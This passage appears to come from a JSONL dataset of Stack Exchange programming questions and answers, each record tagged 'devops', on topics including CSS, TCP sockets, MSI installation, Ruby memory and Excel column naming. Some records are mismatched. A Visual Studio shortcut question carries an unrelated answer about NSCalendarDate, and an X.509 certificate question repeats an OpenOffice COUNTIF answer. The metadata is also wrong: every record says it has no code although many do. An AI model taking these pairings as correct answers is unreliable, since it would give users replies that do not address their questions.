ctx.Request).Returns(request.Object);\n\n    // mock request\n    // TODO: convert querystring to namevaluecollection\n    // now it's just stripped\n    if (url.IndexOf('?') > 0)\n    {\n        url = url.Substring(0, url.IndexOf('?'));\n    }\n\n    var mock = Mock.Get(context.Object.Request);\n\n    // TODO: insert namevaluecollection of querystring\n    mock.Expect(req => req.QueryString).Returns(new NameValueCollection());\n    mock.Expect(req => req.AppRelativeCurrentExecutionFilePath).Returns(url);\n    mock.Expect(req => req.PathInfo).Returns(string.Empty); \n\n    // get routedata with mocked context\n    var routeData = routeCollection.GetRouteData(context.Object);\n    var values = routeData.Values;\n\n    return RedirectToAction(routeData.Values[\"action\"].ToString(), values);\n}\n```\n```\nAs I said, it's maybe a bit overcomplicated :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:00.453605"}
{"id": "hf_87ad74f7aae2", "question": "<p>If I have a style defined</p>\n\n<pre><code>.style1\n{\n   width: 140px;\n}\n</code></pre>\n\n<p>can I reference it from a second style?</p>\n\n<pre><code>.style2\n{\n   ref: .style1;\n}\n</code></pre>\n\n<p>Or is there a way via javascript/jQuery?</p>\n\n<p>--- Edit</p>\n\n<p>To clarify the problem, I am trying to apply whatever style is defined for a #x and #c to .x and .c without altering the CSS as the CSS is going to have updates that are out of my control.</p>\n\n<p>I used width but really the style would be something more complex with font, border and other style elements being specified.</p>\n\n<p>Specifying multiple class names does work when the style is being applied to a class so I'll mark existing responses as answers, but I need to take the style being applied to an id and also apply it to a class style ... if that makes any sense. </p>\n", "question_body": "", "answer": "There's no way to do it with CSS -- it's an oft-requested feature, but not included in the spec yet. You also can't do it directly with JS, but there's sort of a hacky workaround:\n```\n```\n$('.style2').addClass ('style1');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:00.489812"}
{"id": "hf_eb428aa18649", "question": "<p>I have a simple iphone app that's based on the CrashLanding sample app.  So basically you tap the title screen and do some stuff... all on the same \"view\".  I want to add an \"options\" screen/page/view whatever with a few UISwitches.  What's the easiest way to do this?</p>\n\n<p>Cheers!</p>\n", "question_body": "", "answer": "Dunno if this will help I'm a bit new to objective-c and iPhone api.\nMaybe u can do something like this:\nUse the interface builder: just type \"Interface Builder\" on the Spotlight (top right corner) to generate like \"myOptions.xib\"\nAnd then just implement it: like\n```\n```\n@implementation myOptions\n\n-(void)awakeFromNib\n{\n...\n```\n```\nYou can take a look at the QuartzDemo under the iPhone API to see how to load the interface list of objects. In the previous view controller you just need to add it to the object list.\nIt will look something like this:\n```\n```\n@implementation previousController\n-(void)awakeFromNib\n{\n    menuList = [[NSMutableArray alloc] init];\n    QuartzViewController *controller;\n\n    controller = [[QuartzViewController alloc] initWithTitle:@\"Options\"];\n    controller.quartzViewDelegate = [[[myOptions alloc] init] autorelease];\n    [menuList addObject:controller];\n    [controller release];\n```\n```\nHope it helps", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:00.525050"}
{"id": "hf_ab5960235518", "question": "<p>How does TCP/IP report errors when packet delivery fails permanently? All Socket.write() APIs I've seen simply pass bytes to the underlying TCP/IP output buffer and transfer the data asynchronously. How then is TCP/IP supposed to notify the developer if packet delivery fails permanently (i.e. the destination host is no longer reachable)?</p>\n\n<p>Any protocol that requires the sender to wait for confirmation from the remote end will get an error message. But what happens for protocols where a sender doesn't have to read any bytes from the destination? Does TCP/IP just fail silently? Perhaps Socket.close() will return an error? Does the TCP/IP specification say anything about this?</p>\n", "question_body": "", "answer": "The sockets API has no way of informing the writer exactly how many bytes have been received as acknowledged by the peer.  There are no guarantees made by the presence of a successful\n```\nshutdown\n```\nor\n```\nclose\n```\neither.\nThe TCP/IP specification says nothing about the application interface (which is nearly always the sockets API).\nSCTP\nis an alternative to TCP which attempts to address these shortcomings, among others.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:00.560790"}
{"id": "hf_1bb39eeda916", "question": "<p>Is it a problem if you use the global keyword on variables you don't end up using? Compare:</p>\n\n<pre><code>function foo() {\n    global $fu;\n    global $bah;\n    if (something()) {\n        $fu-&gt;doSomething();\n    } else {\n        $bah-&gt;doSomething();\n    }\n}\n\nfunction bar() {\n    if (something()) {\n        global $fu;\n        $fu-&gt;doSomething();\n    } else {\n        global $bah;\n        $bah-&gt;doSomething();\n    }\n}\n</code></pre>\n\n<p>I'm quite aware that using the second method makes maintaining this code much harder, and that it's generally preferred to put all your globals at the start of functions, so: <strong>Ignoring the difference in maintainability and code-styling of the two functions, is there a difference between these two in terms of overhead?</strong></p>\n", "question_body": "", "answer": "If there is, it won't be (humanly) measurable, unless you are literally calling this function millions of times. And even if it was a recursive function with that property, I still wouldn't use your second method for the maintainability aspects you already brought up.\nEdit:\nFor arguments sake, I actually went and benchmarked this, and\n```\nbar()\n```\nended up slower by 0.1s over one million calls. Which means performance wise, you still have a reason to use the cleaner version.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:00.597049"}
{"id": "hf_a645510ea629", "question": "<p>I've installed Oracle XE with APEX, but forgot to write down the URL to access it.  How may I determine the URL?</p>\n", "question_body": "", "answer": "The default is\nhttp://127.0.0.1:8080/apex\nIf you happen to be on Windows, there will also be an entry in the Start menu (Programs > Oracle XE > Database homepage )", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:00.645541"}
{"id": "hf_812e762f0b99", "question": "<p>What is the best way to automatically install an MSI file or installer .exe? We want to do some automated testing from our build system on the installed copy of the product. Our installer has the usual license acceptance screen, install location, etc.</p>\n\n<hr>\n\n<p>As FryHard pointed out there are two options in particular that seem handy:</p>\n\n<ul>\n<li>\"/quiet\" - no use interaction</li>\n<li>\"/passive\" - process bar only, unattended mode</li>\n</ul>\n", "question_body": "", "answer": "If you head over to one of your MSI packages in the command prompt and run a:\n```\n```\nMyproduct.MSI /?\n```\n```\nA screen will pop up with all the details of command line parameters that you can pass to the MSI. I am sure that in this way you could install your application via a command prompt and in this way automate it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:00.681791"}
{"id": "hf_8325e6f62768", "question": "<p>Have you refactored from an <a href=\"http://martinfowler.com/eaaCatalog/activeRecord.html\" rel=\"nofollow noreferrer\">ActiveRecord</a> to a <a href=\"http://martinfowler.com/eaaCatalog/dataMapper.html\" rel=\"nofollow noreferrer\">DataMapper</a> pattern? What conditions prompted the switch? I'm primarily interested in web based applications, but would like to know the challenges that accompany such a move in any environment.</p>\n", "question_body": "", "answer": "I really do like the ActiveRecord pattern for its simplicity.  However, I have been moving away from it for larger web apps.  I find that as an ActiveRecord based project becomes more complex the ActiveRecord objects become large and laden with too much code.\nBy introducing a Repository pattern (essentially a Data Mapper) the domain model classes become simpler and the data mapping / data access logic is kept separate.\nAlso, it is quite difficult (impossible?) to mock ActiveRecord objects because of their user of static methods.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:00.799065"}
{"id": "hf_b20f7bc27597", "question": "<p>I have been using Ruby for a while now and I find, for bigger projects, it can take up a fair amount of memory.  What are some best practices for reducing memory usage in Ruby?</p>\n\n<ul>\n<li>Please, let each answer have one \"best practice\" and let the community vote it up.</li>\n</ul>\n", "question_body": "", "answer": "Beware of C extensions which allocate large chunks of memory themselves.\nAs an example, when you load an image using RMagick, the entire bitmap gets loaded into memory inside the ruby process. This may be 30 meg or so depending on the size of the image.\nHowever\n, most of this memory has been allocated by RMagick itself. All ruby knows about is a wrapper object, which is tiny(1).\nRuby only thinks it's holding onto a tiny amount of memory, so it won't bother running the GC. In actual fact it's holding onto 30 meg.\nIf you loop over a say 10 images, you can run yourself out of memory really fast.\nThe preferred solution is to manually tell the C library to clean up the memory itself - RMagick has a destroy! method which does this. If your library doesn't however, you may need to forcibly run the GC yourself, even though this is generally discouraged.\n(1): Ruby C extensions have callbacks which will get run when the ruby runtime decides to free them, so the memory will eventually be successfully freed at some point, just perhaps not soon enough.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:00.823015"}
{"id": "hf_683e376e2b3a", "question": "<p>What is the best way to write bytes in the middle of a file using Java?</p>\n", "question_body": "", "answer": "Use\n```\nRandomAccessFile\n```\nTutorial\nJavadocs", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:00.846930"}
{"id": "hf_1ff7a45ec2b7", "question": "<p>I'm making a Stored Procedure that basically concatenates a long string with data from many records.</p>\n\n<p>I want to do:</p>\n\n<pre><code>set @output = @output + 'aaa' + LINEBREAK\n</code></pre>\n\n<p>How do I specify that line break?</p>\n", "question_body": "", "answer": "```\n```\nDECLARE @LINEBREAK AS varchar(2)\nSET @LINEBREAK = CHAR(13) + CHAR(10)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:00.883918"}
{"id": "hf_21440acabe6a", "question": "<p>The new awesome <kbd>Ctrl</kbd> + <kbd>.</kbd> keyboard shortcut to show smart tags has suddenly stopped working, a week or so after I discovered it :( </p>\n\n<p>I am missing it badly, having had to revert back to <kbd>Ctrl</kbd> + <kbd>Alt</kbd> + <kbd>F10</kbd>, which really just isn't the same.</p>\n\n<p>I recently installed F# CTP 1.9.6.2</p>\n\n<p>Has anyone else</p>\n\n<ul>\n<li>installed this CTP and still has <kbd>Ctrl</kbd> + <kbd>.</kbd></li>\n<li>Lost <kbd>Ctrl</kbd> + <kbd>.</kbd> without installing F#</li>\n<li>Even better, found how to get it back again?</li>\n</ul>\n\n<p><strong>EDIT</strong> In attempting John Sheehan recommendation, I have noticed that my available mapping schemes only include <code>Visual C# 2005</code>, should I not have a 2008?</p>\n\n<p>Also the mapped shortcut to this is</p>\n\n<pre><code>OtherContextMenus.FSIConsoleContext.CancelEvaluation\n</code></pre>\n", "question_body": "", "answer": "From the\ndocumentation\n:\nUse of NSCalendarDate strongly\n  discouraged. It is not deprecated yet,\n  however it may be in the next major OS\n  release after Mac OS X v10.5. For\n  calendrical calculations, you should\n  use suitable combinations of\n  NSCalendar, NSDate, and\n  NSDateComponents, as described in\n  Calendars in\nDates and Times\n  Programming Topics for Cocoa\n.\nFollowing that advice:\n```\n```\nNSDate *today = [NSDate date];\n\nNSCalendar *gregorian = [[NSCalendar alloc] initWithCalendarIdentifier:NSGregorianCalendar];\n\nNSDateComponents *components = [[NSDateComponents alloc] init];\ncomponents.day = 1;\nNSDate *tomorrow = [gregorian dateByAddingComponents:components toDate:today options:0];\n[components release];\n\nNSUInteger unitFlags = NSYearCalendarUnit | NSMonthCalendarUnit |  NSDayCalendarUnit;\ncomponents = [gregorian components:unitFlags fromDate:tomorrow];\ncomponents.hour = 0;\ncomponents.minute = 0;\n\nNSDate *tomorrowMidnight = [gregorian dateFromComponents:components];\n\n[gregorian release];\n[components release];\n```\n```\n(I'm not sure offhand if this is the most efficient implementation, but it should serve as a pointer in the right direction.)\nNote: In theory you can reduce the amount of code here by allowing a date components object with values greater than the range of normal values for the component (e.g. simply adding 1 to the day component, which might result in its having a value of 32). However, although\n```\ndateFromComponents:\n```\nmay\ntolerate out-of-bounds values, it's not guaranteed to.  You're strongly encouraged not to rely on it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:00.969656"}
{"id": "hf_fd7853dd7965", "question": "<p>I need to sort tuples according to the second element of each tuple but apparently usort/1 only works with the first element. So I have to swap the elements, usort them and swap back.Is there an easier way?Also is there a way to sort in descending order (I know sorting and reversing can be done, but just want to know).</p>\n", "question_body": "", "answer": "It shouldn't be too hard to write your own sort function (adapted from a common example):\n```\n```\nqsort([]) -> [];\nqsort([Pivot|Tail]) ->\n    {PivotFirst, PivotSecond} = Pivot,\n    qsort([{FirstElement, SecondElement} || {FirstElement,SecondElement} <- Tail, SecondElement < PivotSecond])\n        ++ [Pivot] ++\n        qsort([{FirstElement, SecondElement} || {FirstElement,SecondElement} <- Tail, SecondElement >= PivotSecond]).\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.005031"}
{"id": "hf_6b4b8b1c9a77", "question": "<p>Sometimes I break long conditions in <code>if</code>s onto several lines. The most obvious way to do this is:</p>\n\n<pre><code>  if (cond1 == 'val1' and cond2 == 'val2' and\n      cond3 == 'val3' and cond4 == 'val4'):\n      do_something\n</code></pre>\n\n<p>Isn't very very appealing visually, because the action blends with the conditions. However, it is the natural way using correct Python indentation of 4 spaces.</p>\n\n<p>For the moment I'm using:</p>\n\n<pre><code>  if (    cond1 == 'val1' and cond2 == 'val2' and\n          cond3 == 'val3' and cond4 == 'val4'):\n      do_something\n</code></pre>\n\n<p>But this isn't very pretty. :-)</p>\n\n<p>Can you recommend an alternative way?</p>\n", "question_body": "", "answer": "This doesn't improve so much but...\n```\n```\nallCondsAreOK = (cond1 == 'val1' and cond2 == 'val2' and\n                 cond3 == 'val3' and cond4 == 'val4')\n\nif allCondsAreOK:\n   do_something\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.043582"}
{"id": "hf_c9bbeacef555", "question": "<p>I have a text string value that I'd like to persist from one web page to another without using query strings or the session/view states.  I've been trying to get the ASP http://msdn.microsoft.com/en-us/library/system.web.ui.webcontrols.hiddenfield.aspx\">HiddenField control to pass information from one web form to a <i>different</i> form.<br><br>\nAll the hiddenfield control examples that I've seen is to preserve round trips from the client to the server for the same form.<br><br>\nIs there way for a form to access the ASP controls (and their values) from the previously-rendered form?  Or is the initial form simply disposed of in memory by the time the second form executes it's <i>OnLoad</i> method?</p>\n", "question_body": "", "answer": "I would presume that the Response.Redirect() sends a Location: HTTP header to do a redirect.\nAs HTTP is stateless, I'd also presume that these variables are inaccessible.\nThere are however, solutions.\nPrint a form with hidden fields, and use javascript to submit it\nRedirect in the code internally (load up the thing it needs to get to manually)\nStore the data in some temporary database table somewhere, and pass along a unique ID\nHowever, from my experience, I can't understand why you might need to do this (other than re-submitting a form after a user authentication - which hopefully you should be able to use method 2 for", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.067056"}
{"id": "hf_2c1a626050dd", "question": "<p>When using py2exe to distribute Python applications with wxPython, some MSVC DLLs are usually needed to make the .exe work on freshly installed machines. In particular, the two most common DLLs are msvcp71.dll and msvcr71.dll</p>\n\n<p>The former can be included in the .exe using <a href=\"http://www.py2exe.org/index.cgi/OverridingCriteraForIncludingDlls\" rel=\"noreferrer\">this tip</a>. However, the latter is just placed in the <code>dist</code> dir by py2exe and not into the executable, even if I specifically ask to include it.</p>\n\n<p>Any idea how to cause py2exe to include both inside the .exe ?</p>\n", "question_body": "", "answer": "Wouldn't it fail to launch, then? You want\n```\nmsvcr71.dll\n```\nin the same directory as the exe, so that the library loader will be able to find and link it into the application's memory map.\nIt's needed for basic operation, so you can't just let\n```\npy2exe\n```\nunpack it with the rest of the DLLs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.125710"}
{"id": "hf_6b31c952bcbf", "question": "<p>I've got a bunch of 3D vertex positions &amp; need to generate a convex hull containing them; does anyone know of any QHull bindings for .NET? or native 3D Delaunay triangulation algorithms?</p>\n", "question_body": "", "answer": "A 3d delaunay is tricky, I'm not sure it's even possible to strictly define a delaunay constraint for a 3d surface.\nThe normal technique if you just want to mesh a surface is to pick a direction and map that onto 2 coordinates and do a 2d delaunay. For a height map it's easy to just use x,y.\nThen when you have the nodes forming each triangle you can of course use their 3d coordinates.\nThe best 2d code is probably\nhttp://www.cs.cmu.edu/~quake/triangle.html\nThis will also give you the convex hull", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.173877"}
{"id": "hf_654c39e75fd4", "question": "<p>List Comprehension is a very useful code mechanism that is found in several languages, such as Haskell, Python, and Ruby (just to name a few off the top of my head). I'm familiar with the construct.</p>\n\n<p>I find myself working on an Open Office Spreadsheet and I need to do something fairly common: I want to count all of the values in a range of cells that fall between a high and low bounds. I instantly thought that list comprehension would do the trick, but I can't find anything analogous in Open Office. There is a function called \"COUNTIF\", and it something similar, but not quite what I need.</p>\n\n<p>Is there a construct in Open Office that could be used for list comprehension?</p>\n", "question_body": "", "answer": "CountIf can count values equal to one chosen. Unfortunately it seems that there is no good candidate for such function. Alternatively you can use additional column with If to display 1 or 0 if the value fits in range or not accordingly:\n```\n```\n=If(AND({list_cell}>=MinVal; {list_cell}<=MaxVal); 1; 0)\n```\n```\nThen only thing left is to sum up this additional column.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.198805"}
{"id": "hf_e5148049984e", "question": "<p>How do you generate a X.509 public and private key pair and a signing request (CSR file) to be sent to a CA for signing in C#?</p>\n", "question_body": "", "answer": "CountIf can count values equal to one chosen. Unfortunately it seems that there is no good candidate for such function. Alternatively you can use additional column with If to display 1 or 0 if the value fits in range or not accordingly:\n```\n```\n=If(AND({list_cell}>=MinVal; {list_cell}<=MaxVal); 1; 0)\n```\n```\nThen only thing left is to sum up this additional column.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.227170"}
{"id": "hf_dbeb55f70e49", "question": "<p>I'm working on a small project where for the first time I want to use XML as the one and only data source...a file based store suits the need of the project.</p>\n\n<p>When writing the DAL should I have all the get methods static? to aviod and \"reading while file open\" errors?\nShould I use CacheDependency on the file?</p>\n\n<p>Thx</p>\n", "question_body": "", "answer": "I think you were not as clear as you could have been. How big are these files going to be? Would it make sense for the data layer to always keep the XmlDocument in memory and dump to harddisk on every update?\nHow often are updates going to occur, if at all? How are you going to handle concurrency? Are updates going to be transactional across multiple xml files? How are you going to handle consistency and transactional integrity? If there are no updates, your life will be much simpler.\nMethods don't have to be static. The main thing to consider is  that, in the future, you might want to change the DAL provider from XML to DB. To this end, the concrete implementation of the DAL interfaces should talk to an abstract data provider. For you, it would be an Xml provider initially, but you should be able to write a Sql Provider that implements the same interface and easily switch the implementation using dependency injection, config files or what-have-you.\nOne you have instances of the DAL implementations, you can just use those objects to talk to the data layer.\nHope this is a good start for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.266347"}
{"id": "hf_24e834d3cea7", "question": "<p>How do you convert a numerical number to an Excel column name in C# without using automation getting the value directly from Excel.</p>\n\n<p>Excel 2007 has a possible range of 1 to 16384, which is the number of columns that it supports. The resulting values should be in the form of excel column names, e.g. A, AA, AAA etc.</p>\n", "question_body": "", "answer": "```\n```\nint nCol = 127;\nstring sChars = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\nstring sCol = \"\";\nwhile (nCol >= 26)\n{\n    int nChar = nCol % 26;\n    nCol = (nCol - nChar) / 26;\n    // You could do some trick with using nChar as offset from 'A', but I am lazy to do it right now.\n    sCol = sChars[nChar] + sCol;\n}\nsCol = sChars[nCol] + sCol;\n```\n```\nUpdate\n:\nPeter\n's comment is right. That's what I get for writing code in the browser. :-) My solution was not compiling, it was missing the left-most letter and it was building the string in reverse order - all now fixed.\nBugs aside, the algorithm is basically converting a number from base 10 to base 26.\nUpdate 2\n:\nJoel Coehoorn\nis right - the code above will return AB for 27. If it was real base 26 number, AA would be equal to A and the next number after Z would be BA.\n```\n```\nint nCol = 127;\nstring sChars = \"0ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\nstring sCol = \"\";\nwhile (nCol > 26)\n{\n    int nChar = nCol % 26;\n    if (nChar == 0)\n        nChar = 26;\n    nCol = (nCol - nChar) / 26;\n    sCol = sChars[nChar] + sCol;\n}\nif (nCol != 0)\n    sCol = sChars[nCol] + sCol;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.293561"}
{"id": "hf_26d794e096b6", "question": "<p>We have a project with many dll files which get loaded when the application starts. The baseaddresses of the dll files do overlap so that the memory image gets relocated. Is there a possibility to assign the baseaddresses automatically or a way to calculate a \"good\" baseaddress for each dll file?</p>\n", "question_body": "", "answer": "You can use the REBASE utility which ships with the platform SDK and with Visual studio I think to set the base addresses of a whole bunch of DLLS loaded by the appliction\nYou supply REBASE with a list of the DLLS that make up your program, not including system Dlls, it then performs a dummy load of all the DLLs and assigns them new base addresses.\nThis can be performed as part of a final build step.\nThere is a Dr Dobbs article on rebasing\nhere\nand a Microsoft article on rebasing in general\nhere", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.399132"}
{"id": "hf_cad34769c824", "question": "<p>I'm wondering if anyone can recommend a good C++ tree implementation, hopefully one that is \nstl compatible if at all possible.</p>\n\n<p>For the record, I've written tree algorithms many times before, and I know it can be fun, but I want to be pragmatic and lazy if at all possible. So an actual link to a working solution is the goal here.</p>\n\n<p>Note: I'm looking for a generic tree, not a balanced tree or a map/set, the structure itself and the connectivity of the tree is important in this case, not only the data within.\nSo each branch needs to be able to hold arbitrary amounts of data, and each branch should be separately iterateable. </p>\n", "question_body": "", "answer": "I am going to suggest using std::map instead of a tree.\nThe complexity characteristics of a tree are:\nInsert:       O(ln(n))\nRemoval:  O(ln(n))\nFind:         O(ln(n))\nThese are the same characteristics the std::map guarantees.\nThus as a result most implementations of std::map use a tree (Red-Black Tree) underneath the covers (though technically this is not required).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.423445"}
{"id": "hf_3d021901fa0c", "question": "<p>Let's say I have this model named <em>Product</em> with a field named <em>brand</em>. Suppose the values of <em>brand</em> are stored in the format <em>this_is_a_brand</em>. Can I define a method in the model (or anywhere else) that allows me to modify the value of <em>brand</em> before it is called. For example, if I call <em>@product.brand</em>, I want to get <em>This is a Brand</em>, instead of <em>this_is_a_brand</em>.</p>\n", "question_body": "", "answer": "In your model you can override the method call\n```\nbrand\n```\n.\n```\n```\ndef brand\n#code to modify the value that is stored in brand\nreturn modified_brand\nend\n```\n```\nThis will allow it to be stored as this_is_a_brand.  But, it will be returned as \"this is a brand\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.471816"}
{"id": "hf_357ff0f2d199", "question": "<p>my java application has a loading task which requires two server calls which can be parallelized. So I launch a Thread t1 (doing <strong>task1</strong>) and a Thread t2 (for <strong>task2</strong>).\nI want then to do a specific task, <strong>task3</strong> when both other tasks (1 &amp; 2) are over. Naturally I can't tell which of <strong>task1</strong> and <strong>task2</strong> will finish first...</p>\n\n<p>Which would be for you the simplest (and safest) way to code this ?</p>\n\n<p>Thank you for your help</p>\n", "question_body": "", "answer": "You can\n```\njoin\n```\nboth\n```\nt1\n```\nand\n```\nt2\n```\n(in either order), then run task3 after the join.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.507946"}
{"id": "hf_6d2ff6eeafc5", "question": "<p>Has anyone used Mono, the open source .NET implementation on a large or medium sized project? I'm wondering if it's ready for real world, production environments. Is it stable, fast, compatible, ... enough to use? Does it take a lot of effort to port projects to the Mono runtime, or is it really, really compatible enough to just take of and run already written code for Microsoft's runtime?</p>\n", "question_body": "", "answer": "I've used it for a number of internal and commercial projects with great success.  My warnings:\nWrite lots of unit tests and make sure they ALL pass under Mono -- this will save you a lot of trouble.\nUnless you absolutely have to, do NOT use their embedding API.  It's damn easy to use, but it's ungodly easy to garbage collect valid memory or leak all of your memory.\nDon't ever, ever, ever even come close to SVN and unless there's no choice, do not compile your own.  Things change so often in SVN that it's highly likely you'll end up implementing something that doesn't work on a release version if your project is significantly large.\nDon't try and figure out problems on your own for long, use the IRC channel.  The people there are helpful and you'll save yourself days upon days -- don't make the same mistake I did.\nGood luck!\nEdit:  The reason I say not to compile your own from source (release or SVN) is that it's easy to configure it differently than release binaries and hide bugs, for instance in the garbage collection.\nEdit 2:  Forgot to answer the second part to your question.  In my case, I had no issues with porting code, but I wasn't using any MS-specific libraries (WinForms, ASP.NET, etc).  If you're only using System.* stuff, you'll be fine;  beyond that, you may run into issues.  Mono 2.0 is quite solid, though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.555186"}
{"id": "hf_866a7f19b8cc", "question": "<p>When I add a breakpoint and hit F5 to run in the debugger (I am using my debug build), a dialog pops up telling my my web.config file does not have debug=true in it (which is does) and I get 2 choices a) run without the debugger or b) let visual studio update my web.config file. If I choose b) the web.config is updated badly and nothing will work. If I choose a) then the site appears and I can test it out, but no debugging.</p>\n\n<p>I am an experienced developer, but I have never used visual studio and asp.net for web development before, so I am feeling rather frustrated by all the walls it is putting up to prevent me working.</p>\n\n<p>So far I have not been able to use the debugger. Is there something totally obvious that I am missing? What would you check if it was happening to you?</p>\n", "question_body": "", "answer": "Open web.config manually and make sure the following line is in there\n```\n```\n<compilation defaultLanguage=\"c#\" debug=\"true\" />\n```\n```\nNow you should be able to debug from VS. If this does not work I suggest that you recreate the project.\nEDIT: perhaps from what you say it could be that web.config is screwed up, e.g.contains invalid xml, no closing tag for some element etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:01.579698"}
